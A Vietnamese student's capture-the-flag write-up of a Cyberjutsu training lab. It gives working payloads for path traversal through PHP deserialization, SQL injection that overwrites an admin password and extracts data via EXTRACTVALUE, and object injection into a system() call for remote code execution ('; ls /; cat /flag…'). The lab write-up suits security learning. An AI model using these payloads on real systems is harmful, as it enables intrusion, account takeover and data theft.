Writeup Blackbox K137 Team05

You might also like

Download as pdf or txt
Download as pdf or txt
You are on page 1of 15

WRITE UP BLACKBOX DAY4 – CYBERJUTSU

Xin chào mọi người mình là K137 thành viên Team 5. HACK THÔI NÀO!

NHƯNG mình sẽ không làm như thế. Như hình trên của Cyberjutsu trước tiên là mình
sẽ đi tìm hiểu ứng dụng như một người dùng bình thường để hiểu tổng quát.

# Tìm hiểu tổng quát và những khả lăng


Trang web có Login và Register.
Khả lăng mình có thể nghĩ tới:
- SQL injection
- Weak password
Sau khi đăng nhập là vào trang index.php:
Khả lăng mình có thể nghĩ tới :
- File upload vulnerabilities
- SQL injection: vì có gọi tới character.php?id=…
- Insecure deserialization: khi bấm nút Download Save Game đã tải về file trong
đó chứa dạng serialized PHP

Ở trang threecards.php có chức năng Download log :


Trang profile.php có 3 untrusted data:
Khả lăng mình có thể nghĩ tới :
- SQL injection
- File upload vulnerabilities

Ok, bây giờ mình đã tìm hiểu tổng quát trang web và bây giờ mình pentest thôi. Lét đu
*ịt
#Recon
Ở đây minh dùng gobuster:
Command: gobuster dir -u https://team5-bw-d2.cyberjutsu-lab.tech/ -w common.txt
hoặc có thể sử dụng Fuzz:
Command: ffuf -w common.txt -u https://team5-bw-d2.cyberjutsu-lab.tech/FUZZ

Wow, có file và directory thú vị như .git, /lib, admin.php, robots.txt.


Như thường lệ mình sẽ coi robots.txt trước: Disallow: /admin.php
GET /admin.php . Chỉ vừa bước recon đã có flag đầu tiên

Tiếp đến là /lib:


/.git:

#Đặt giả thuyết và chứng minh


Trang index.php có chức năng Download Save Game để tải về có file extension (.save)
và nội dung chứa object serialized:
O:11:"GameManager":3:{s:8:"username";s:4:"k137";s:9:"character";s:9:"thobaymau";s:8:
"log_file";s:35:"/tmp/game_saved/k137_1715313156.log";}
Và có chức năng upload file có file extension (.save). Mà bên trang threecards.php lại
có chức năng download cái log về .
Cũng đã thử file upload vulnerabilities ở chức năng upload file nhưng không thành công

#Giả thuyết 1: Sẽ ra sau nếu chức năng Download log của trang
threecards.php tải giá trị ở log_file của file save game mà giá trị ở
log_file mình có thể kiểm soát.
Chứng minh giả thuyết:
Để thuận tiện thì mình sẽ code lại class GameManager để nó tự serialize:
<?php
class GameManager
{
public $username;
public $character;
public $log_file;
public function __construct($log_file)
{
$this->username = 'k137';
$this->character = "thobaymau";
$this->log_file = $log_file;
}

}
$gamemanager= new GameManager('/etc/passwd');
echo serialize($gamemanager);
?>
Kết quả code trên :
O:11:"GameManager":3:{s:8:"username";s:4:"k137";s:9:"character";s:9:"thobaymau";s:8:
"log_file";s:11:"/etc/passwd”;}
Lưu nó ở dạng file .saved và upload lên thông qua submit BÙM ! thế là nhận được flag,
nhìn thì insecure deserialization nhưng lại path traversal

Đồng thời cũng làm lộ document root do thông báo lỗi hiện ra:
Vậy là giờ có thể tận dụng path traversal đọc các file khác mà mình biết tên.
Mình sẽ đọc thử character.php :
$id = $conn->real_escape_string($_GET['id']); # fix bug
// Run query
$sql = "SELECT * FROM characters WHERE id='$id'";
$result = $conn->query($sql);
Hàm real_escape_string() ở dòng đầu tiên : để chống sql injection đọc thêm ở
https://www.php.net/manual/en/function.mysql-real-escape-string.php

Mình đã đọc và tìm hiểu hiện tại có thế thực hiện được : 1 OR 1=1 nếu là $id còn ‘$id’
thì chưa chắc (https://forums.hak5.org/topic/38466-bypass-mysql_real_escape_string/).
Tiếp tục đi tiếp xem các file khác .
Ok, tới file profile.php :
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
// Update the user's phone number and homepage
$phone_number = $_POST['phone_number'];
$homepage = $_POST['homepage'];

$sql = "UPDATE users SET phone_number = '$phone_number', homepage =


'$homepage' WHERE username = '$username'";
if ($conn->query($sql)) {
echo '<div class="alert alert-success" role="alert">Successfully updated
user information.</div>';
} else {
echo '<div class="alert alert-danger" role="alert">Error updating user
information: ' . mysqli_error($conn) . '</div>';
}
}
Các untrusted data không được kiểm tra kỹ càng và bỏ vào sql query ở dòng mình bôi
đỏ. Khả lăng khả lăng cao là SQL injection.
Tới đây thì có cách 2 để vào admin.php đó là update password của admin theo ý của
mình. Test thôi

#Giả thuyết 2: Liệu rằng có thể update được mật khẩu admin thông
qua update query ở profile.php?
Chứng minh giả thuyết:
Payload mình sử dụng : 123', password='1' WHERE username='admin'# >>Update
thành công. Nhưng đăng nhập lại sai, có lẽ là mình phải xem lại file login.php có gì đó
không đúng:
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
$username = $_POST['username'];
$password = $_POST['password'];

// Validate the usernam


if (!validateUsername($username)) {
die('Invalid username. The username must contain only alphabets and
numbers.');
}

$hashed_password = md5($password);

// Check if the username and hashed password match the database records
$sql = "SELECT * FROM users WHERE username = '$username' AND password =
'$hashed_password'";
$result = mysqli_query($conn, $sql);
Password trong SQL đã bị mã hóa md5 ở dòng mình đã bôi đỏ, vậy password mình
update cũng phải mã hóa md5 :
123', password='c4ca4238a0b923820dcc509a6f75849b' WHERE username='admin'#

Thứ mình muốn là flag sqli nên tiếp tục nghiên cứu, tìm hiểu cách khai thác update
query
#Giả thuyết 3: Sẽ ra sao nếu ta có thể injection vào update query để
có thể đọc được nội dung của table khác.
Chứng minh giả thuyết:
Sau thử 77, 99 và search cách chèn UNION SELECT, dùng stacked queries trong
update query không thành công. Nên em đành phải search cheatsheet (Xin lỗi thầy em
bí quá làm liều )
Sau khi tìm hiểu và đọc sơ các bài thì có 3 cách (https://www.securityidiots.com/Web-
Pentest/SQL-Injection/update-query-injection.html) và 1 trong số đó mình sẽ dùng là
XPATH Injection (https://securityidiots.com/Web-Pentest/SQL-Injection/XPATH-Error-
Based-Injection-Extractvalue.html)
Hay nó còn gọi là Error Based Injection using Extractvalue cụ thể là sử dụng để trích
xuất dữ liệu từ database thông qua việc gây ra lỗi và phản hồi từ database.
Trong MySQL, hàm EXTRACTVALUE() được sử dụng để trích xuất giá trị từ một tài liệu
XML dựa trên một biểu thức XPath.
Payload của mình: ' or extractvalue(1,concat(0x7e,(SELECT concat_ws(':', flag) FROM
flag limit 0,1))) or ' được tham khảo ở https://www.exploit-db.com/docs/33253

Và mình cũng đã có thử file upload vulnerability ở chức năng upload image để thay đổi
ảnh đại diện nhưng không thành công như .php%00.jpg, thay đổi file signature,… vẫn
không thành công, có thành công thì chỉ đọc được file nhưng không thực thi code.
Mình đã xem hết các file ở /var/www/html, như recon ở trên thì mình đã tìm ra các file ở
/lib bây giờ đọc các file đó xem có gì khai thác.
GameManager.php:
Đây là file mà nó serialized mình đã thấy lúc Download save game.
class GameManager
{
public $username;
public $character;
public $log_file;
public function __construct($username, $character = 'thobaymau')
{
$this->username = $username;
$this->character = $character;
$timestamp = time();
$this->log_file = "/tmp/game_saved/" . $username . "_" . $timestamp .
".log";
}

public function __toString()


{
return "Username: " . $this->username . "<br>Character: " . $this-
>character . "<br>Log file: " . $this->log_file;
}
}
Calculator.php:
eval() trong functiion run() => Unsafe method nhưng cần kích hoạt function run()
class Calculator
{
public $expression;
public function __construct($expr)
{
$this->expression = $expr;
}

public function run()


{
$result = eval ($this->expression);
return $result;
}
}
EKYC.php:
Function toString() sẽ tự động kích hoạt khi chuyển đổi thành chuỗi và trong hàm này
còn có system là unsafe method có thể dẫn tới rce
class EKYC
{
public $file_path;
public $username;
public function __construct($file_path, $username)
{
$this->file_path = $file_path;
$this->username = $username;
}
public function toString()
{
return system("/usr/bin/ai_ekyc_verifier $this->file_path $this-
>username");
}
Logger.php:
class Logger
{
public $filepath;
public function __construct($filepath)
{
$this->filepath = $filepath;
}

public function close()


{
system("rm " . $this->filepath);
}

public function __toString()


{
return "Log file: " . $this->filepath;
}
}
Trong 3 file php mình bôi đỏ đều có 3 unsafe method nhưng mình sẽ chọn EYKC.php vì
Function toString() sẽ tự động kích hoạt khi chuyển đổi thành chuỗi. Còn 2 function
run(), close() phải tìm gadget chain. Bây giờ thì thử RCE thôi . Lét đu *ịt.

#Giả thuyết 4: Sẽ ra sao nếu trang web phải unserialize class, cái mà
mình có thể tùy ý thay đổi.
Chứng minh giả thuyết:
Mình sẽ sử dụng chính PHP để tạo payload tấn công.
▪ Copy class EYKC từ file EYKC.php sang file test.php
▪ Tạo 1 biến mới từ class này với câu lệnh mà ta muốn thực thi:
$ekyc = new EYKC(‘;id’,’’);

▪ Serialize biến này lại:


serialize($ekyc);

Copy chuỗi giá trị đã được serialize này lưu vào file và upload lên ở trang index.php.
Khi chuyển thành chuỗi thì câu lệnh sẽ được thực thi.
O:4:"EKYC":2:{s:9:"file_path";s:52:";ls /;cat
/flag_rce_3DDUOgyczH32UivQK37pUgAFDCDbZLAp" s:8:"username";s:0:"";}

RCE rồi đi lòng vòng trong hệ thống thôi. Có file ekyc_upload.php đã làm lộ key gì nè,
xem có thể tận dụng cái key này không.
#Giả thuyết 5: Sẽ ra sao nếu có thể dùng key để decrypt file extension
.enc
Chứng minh giả thuyết:
Ok khi đọc tới hàm mã hóa sodium_crypto_aead_aes256gcm_encrypt() dòng 64, thì
mình đã có suy nghĩ liệu có hàm decrypt của hàm mã hóa đó không ?
https://www.php.net/manual/en/function.sodium-crypto-aead-aes256gcm-decrypt.php
Và câu hỏi kế tiếp là giải mã file nào ? Ở dòng 65 lưu trữ file mã hóa ở /data/ekyc/. Tận
dụng RCE xem có những file gì trong đó :

Có vẻ đúng như gì dự đoán giờ thì viết code để decrypt thôi.


Mình sẽ tận dụng download log ở index.php và threecards.php để tải các file
(admin.enc, thobaymau.enc, envippro.enc)
Đoạn code để decrypt:

Mình thử decrypt từng file thì đến file thobaymau.enc đã xuất hiện flag:
Mình đã được người trong team hint là có flag git. Nhưng tìm từng mục ở ./git 3-4 lần
không thấy flag đâu. Chợt nhớ đến bài recon thầy đã có nhắc đến git dump
(https://github.com/arthaud/git-dumper).
Nếu các bạn không download được git dumper vào vmware hãy thử tạo môi trường ảo:
git clone https://github.com/arthaud/git-dumper.git
cd gitdumper
python -m venv venv
source venv/bin/activate
pip install -r requirements.txt
Và đây đã là flag cuối cùng rồi :
#Kết luận
Cảm ơn các thầy, các anh ở Cyberjutsu đã tạo các con game blackbox.
Cảm ơn các thầy, các anh đã làm cho đã làm cho em có niềm tin đi trên con đường này
vì :
1. Khi em nói gia đình hoặc bạn bè em sẽ làm pentest dạng như hacker thì đều nói khó
lắm, phải giỏi nhiều thứ mày không làm được đâu.
2. Khi tự học trên các nên tảng tryhackme chỉ sử dụng tool và giải thích sơ qua các lỗi
bảo mật, tầm ảnh hưởng mà không nói hàm nào, untrusted data nằm ở những chỗ nào
gây ra lỗi bảo mật gì. Làm CTF trên nền tảng đó toàn dùng cheatsheet và đọc writeup
làm em rất nản và nghĩ mình không đủ khả năng đi trên con đường này.
Sau khi đi qua 2 khóa web101, web102 nhờ các bài giảng, ví dụ, hình ảnh minh họa cụ
thể, chi tiết giúp em nhận ra nó không quá khó như mọi người nói và em có khả năng đi
tiếp trên con đường này.
Cho mình xin góp ý để hoàn thiện các bài writeup, report sau mình cảm ơn.

You might also like